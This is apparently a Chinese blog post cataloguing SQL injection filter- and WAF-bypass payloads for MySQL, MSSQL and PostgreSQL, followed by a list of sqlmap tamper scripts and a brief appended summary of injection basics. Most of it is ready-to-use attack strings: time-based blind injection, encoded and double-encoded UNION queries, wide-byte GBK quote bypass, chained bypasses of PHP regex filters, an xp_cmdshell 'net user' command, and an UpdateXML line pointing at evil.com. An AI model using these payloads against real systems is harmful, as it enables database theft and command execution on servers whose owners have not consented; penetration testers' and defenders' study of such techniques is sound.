sql注入绕过技巧

前言

今天斗胆来整理一下sql注入的各种绕过姿势,以后方便查阅。SQL注入的绕过技巧有很多,具体的绕过技巧需要看具体的环境,而且很多的绕过方法需要有一个实际的环境,最好是你在渗透测试的过程中遇到的环境,否则如果仅仅是自己凭空想,那显然是不靠谱的。

1.括号绕过空格

如果空格被过滤,括号没有被过滤,可以用括号绕过。

在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

例如:

select(user())from dual where(1=1)and(2=2)

这种过滤方法常常用于time based盲注,例如:

?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

(from for属于逗号绕过下面会有)

上面的方法既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时。

2.引号绕过(使用十六进制)

会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:

select column_name  from information_schema.tables where table_name="users"

这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。
  users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:

select column_name  from information_schema.tables where table_name=0x7573657273
3.逗号绕过(使用from或者offset)

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

使用join:

union select 1,2 #等价于
union select * from (select 1)a join (select 2)b

使用like:

select ascii(mid(user(),1,1))=80   #等价于
select user() like 'r%'

对于limit可以使用offset来绕过:

select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0
4.比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本)

使用greatest()、least():(前者返回最大值,后者返回最小值)

同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。
  最常见的一个盲注的sql语句:

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。
  那么上面的这条sql语句可以使用greatest变为如下的子句:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

使用between and:

between a and b:

between 1 and 1; 等价于 =1
5.or and xor not绕过
and=&&  or=||   xor=|   not=!
6.绕过注释符号(#,–(后面跟一个空格))过滤
id=1' union select 1,2,3||'1

最后的or '1闭合查询语句的最后的单引号,或者:

id=1' union select 1,2,'3
7.注释符
//
--%20
/**/
#
--+
-- -
%00
;

普通注释

z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4'union%a0select pass from users#

/**/在构造的查询语句中插入注释规避对空格的依赖或关键字识别#、–+用于终结语句的查询

内联注释

相比普通注释内联注释用的更多/!content/只有MySQL会正常识别content的内容其他

index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3?page_id=null%0A///!50000%
55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4…

两个示例中前者使用内联注释后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分要做到这一点后面讨论的特殊符号也能实现当然前提是包括/、*在内的这些字符能正常使用

8. 大小写绕过
大小写绕过用于只针对小写或大写的关键字匹配技术正则表达式/express/i 匹配时大小写不敏感便无法绕过,这是最简单的绕过技术

?id=1 UnIon SeLeCt user()#

9. 双写绕过
waf将关键字替换为空,没有递归

?id=1 uniunionon seselectlect user()#

10.编码绕过
利用urlencode,ascii(char),hex,unicode等编码绕过

or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。

十六进制编码

SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))

双重编码绕过

?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+

一些unicode编码举例:
单引号:'
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
空白:
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
左括号(:
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
右括号):
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9
11.like绕过
?id=1' or 1 like 1#
可以绕过对 = > 等过滤

12. in绕过

  or '1' IN ('1234')#
    可以替代=
13.等价函数或变量
hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74 

或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

14. 生僻函数
MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’);

?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql

?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))

and extractvalue(1, concat(0x5c, (select user()),0x5c))

15. 反引号绕过
反引号是个比较特别的字符,可利用在分隔符及注释作用,不过使用范围只于表名、数据库名、字段名、起别名这些场景

表名

payload:select * from `users` where user_id=1 limit 0,1;

可以正常执行的,这样使用还可以起到分隔符的作用,如下

eg:select * from`users`where user_id=1 limit 0,1;

起别名

payload:select user_id,user `111111` from users where user_id=1 limit 0,1;

反引号注释符原理

上面说了反引号的使用,下面来看看具体是怎么使用来进行绕过SQL检测的

主要用的就是起别名这个,这个运用范围比较窄

如果不闭合反引号,则后面的所有都会成为别名

eg:select 1,2 `111111 from users where user_id=1 limit 0,1;

相当于注释的作用的,不过运用条件比较苛刻

16 宽字节绕过
过滤 ’ 的时候往往利用的思路是将 ’ 转换为 ’ 。

在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:

(1)%df 吃掉 \ 具体的方法是 urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(’)符号在外面:

id=-1%df%27union select 1,user(),3--+

(2)将 ’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。

一般产生宽字节注入的PHP函数:

1.replace():过滤 ’ \ ,将 ’ 转化为 ’ ,将 \ 转为 \,将 " 转为 " 。用思路一。

2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:’ , " , \ 。用思路一

(防御此漏洞,要将 mysql_query 设置为 binary 的方式)

3.mysql_real_escape_string():转义下列字符:

\x00 \n \r \ ' " \x1a

(防御,将mysql设置为gbk即可)

*宽字节绕过只有php版本小于5.4的时候才可以

17.\N绕过

\N相当于NULL字符

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0

18.特殊的绕过函数

18.1用greatest()绕过<>
mysql> select greatest(ascii(mid(user(),1,1)),150)=150;
 +------------------------------------------+
| greatest(ascii(mid(user(),1,1)),150)=150 |
 +------------------------------------------+
|1 |
 +------------------------------------------+
18.2使用mid()等逗号被过滤的情况
mid(user() from 1 for 1)

substr(user() from 1 for 1)

mysql> select ascii(substr(user() from 1 for 1)) < 150;
 +------------------------------------------+
| ascii(substr(user() from 1 for 1)) < 150 |
 +------------------------------------------+
|1 |
 +------------------------------------------+

18.3. 内联注释绕过

   id=-1'/*!UnIoN*/ SeLeCT 1,2,concat(/*!table_name*/) FrOM /*information_schema*/.tables /*!WHERE *//*!TaBlE_ScHeMa*/ like database()#
18.4.or and xor not绕过
and=&&  or=||   xor=|   not=!

18.5. PCRE绕过

  union/*'+'a'*1000001+'*/select

19. php中常见的waf及绕过
php过滤直接用preg_match(’/(’.waf.’)/i’,$id)

19.1 过滤and or

  waf = 'and|or'
    过滤代码 1 or 1=1   1 and 1=1
    绕过方式 1 || 1=1   1 && 1=1

19.2 过滤union

 waf = 'and|or|union'
    过滤代码 union select user,password from users
    绕过方式 1 && (select user from users where userid=1)='admin'

19.3 过滤where

waf = 'and|or|union|where'
过滤代码 1 && (select user from users where user_id = 1) = 'admin'
绕过方式 1 && (select user from users limit 1) = 'admin'

19.4 过滤limit

  waf = 'and|or|union|where|limit'
    过滤代码 1 && (select user from users limit 1) = 'admin'
    绕过方式 1 && (select user from users group by user_id having user_id = 1) = 'admin'#user_id聚合中user_id为1的user为admin
19.5过滤group by
waf = 'and|or|union|where|limit|group by'
过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

19.6 过滤select

   waf = 'and|or|union|where|limit|group by|select'
    过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
    绕过方式 1 && substr(user,1,1) = 'a'

19.7 过滤’(单引号)

  waf = 'and|or|union|where|limit|group by|select|\''
    过滤代码 1 && substr(user,1,1) = 'a'
    绕过方式 1 && user_id is not null1 && substr(user,1,1) = 0x611 && substr(user,1,1) = unhex(61)

19.8 过滤hex

  waf = 'and|or|union|where|limit|group by|select|\'|hex'
    过滤代码 1 && substr(user,1,1) = unhex(61)
    绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。
19.9过滤substr
waf = 'and|or|union|where|limit|group by|select|\'|hex|substr'
过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16)) 
绕过方式 1 && lpad(user(),1,1) in 'r'

20. 关键字拆分

  'se'+'lec'+'t'
    %S%E%L%E%C%T 1
    1.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell "net user"')
    !()' or --+2=- -!!!'2
    id=1+(UnI)(oN)+(SeL)(EcT)

21. 万能密钥绕过
用经典的or 1=1判断绕过,如or ‘swords’ =’swords

sqlmap/tamper是官方给出的一些绕过脚本

序号	脚本名称	注释
1	0x2char	将每个编码后的字符转换为等价表达
2	apostrophemask	单引号替换为Utf8字符
3	apostrophenullencode	替换双引号为%00%27
4	appendnullbyte	有效代码后添加%00
5	base64encode	使用base64编码
6	between	比较符替换为between
7	bluecoat	空格替换为随机空白字符,等号替换为like
8	chardoubleencode	双url编码
9	charencode	将url编码
10	charunicodeencode	使用unicode编码
11	charunicodeescape	以指定的payload反向编码未编码的字符
12	commalesslimit	改变limit语句的写法
13	commalessmid	改变mid语句的写法
14	commentbeforeparentheses	在括号前加内联注释
15	concat2concatws	替换CONCAT为CONCAT_WS
16	equaltolike	等号替换为like
17	escapequotes	双引号替换为\\\\
18	greatest	大于号替换为greatest
19	halfversionedmorekeywords	在每个关键字前加注释
20	htmlencode	html编码所有非字母和数字的字符
21	ifnull2casewhenisnull	改变ifnull语句的写法
22	ifnull2ifisnull	替换ifnull为if(isnull(A))
23	informationschemacomment	标示符后添加注释
24	least	替换大于号为least
25	lowercase	全部替换为小写值
26	modsecurityversioned	空格替换为查询版本的注释
27	modsecurityzeroversioned	添加完整的查询版本的注释
28	multiplespaces	添加多个空格
29	nonrecursivereplacement	替换预定义的关键字
30	overlongutf8	将所有字符转义为utf8
31	overlongutf8more	以指定的payload转换所有字符
32	percentage	每个字符前添加%
33	plus2concat	将加号替换为concat函数
34	plus2fnconcat	将加号替换为ODBC函数{fn CONCAT()}
35	randomcase	字符大小写随机替换
36	randomcomments	/**/分割关键字
37	securesphere	添加某字符串
38	sp_password	追加sp_password字符串
39	space2comment	空格替换为/**/
40	space2dash	空格替换为–加随机字符
41	space2hash	空格替换为#加随机字符
42	space2morecomment	空格替换为/**_**/
43	space2morehash	空格替换为#加随机字符及换行符
44	space2mssqlblank	空格替换为其他空符号
45	space2mssqlhash	空格替换为%23%0A
46	space2mysqlblank	空格替换为其他空白符号
47	space2mysqldash	空格替换为–%0A
48	space2plus	空格替换为加号
49	space2randomblank	空格替换为备选字符集中的随机字符
50	symboliclogical	AND和OR替换为&&和||
51	unionalltounion	union all select替换为union select
52	unmagicquotes	宽字符绕过GPC
53	uppercase	全部替换为大写值
54	varnish	添加HTTP头
55	versionedkeywords	用注释封装每个非函数的关键字
56	versionedmorekeywords	使用注释绕过
57	xforwardedfor	添加伪造的HTTP头

未完,待续!

  • 4
    点赞
  • 20
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
首先,需要了解 SQL 注入的原理。SQL 注入攻击是利用 Web 应用程序对 SQL 查询语句的输入没有进行充分的检查,从而向数据库服务器发送恶意的 SQL 代码。攻击者可以通过 SQL 注入攻击,获取数据库中的敏感信息,或者进行破坏性的操作。 以下是一些 SQL 注入绕过技巧: 1. 使用单引号:在注入时,可以使用单引号(')来绕过字符串的闭合,从而实现注入。例如:输入 ' or 1=1-- 可以绕过密码的验证,因为这个语句会让数据库认为输入的密码为一个空字符串,而 1=1 是恒成立的。 2. 使用注释符号:在注入时,可以使用注释符号(--)来注释掉原有的 SQL 语句,从而实现注入。例如:输入 ' or 1=1;-- 可以绕过密码的验证,因为这个语句会注释掉原有的 SQL 语句,而 1=1 是恒成立的。 3. 使用 UNION 操作符:在注入时,可以使用 UNION 操作符来将恶意的 SQL 查询语句与原有的 SQL 查询语句合并在一起,从而实现注入。例如:输入 ' UNION SELECT 1,2,3-- 可以获取数据库中的信息,因为这个语句会将恶意的 SQL 查询语句与原有的 SQL 查询语句合并在一起。 4. 使用编码:在注入时,可以使用编码来绕过过滤机制,从而实现注入。例如:输入 %27%20or%201=1%20-- 可以绕过密码的验证,因为这个语句会将单引号(')和空格进行编码。 需要注意的是,SQL 注入攻击是非常危险的,可以导致严重的后果。因此,开发者应该在编写 Web 应用程序时,对用户输入的数据进行充分的检查和过滤,以避免 SQL 注入攻击。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值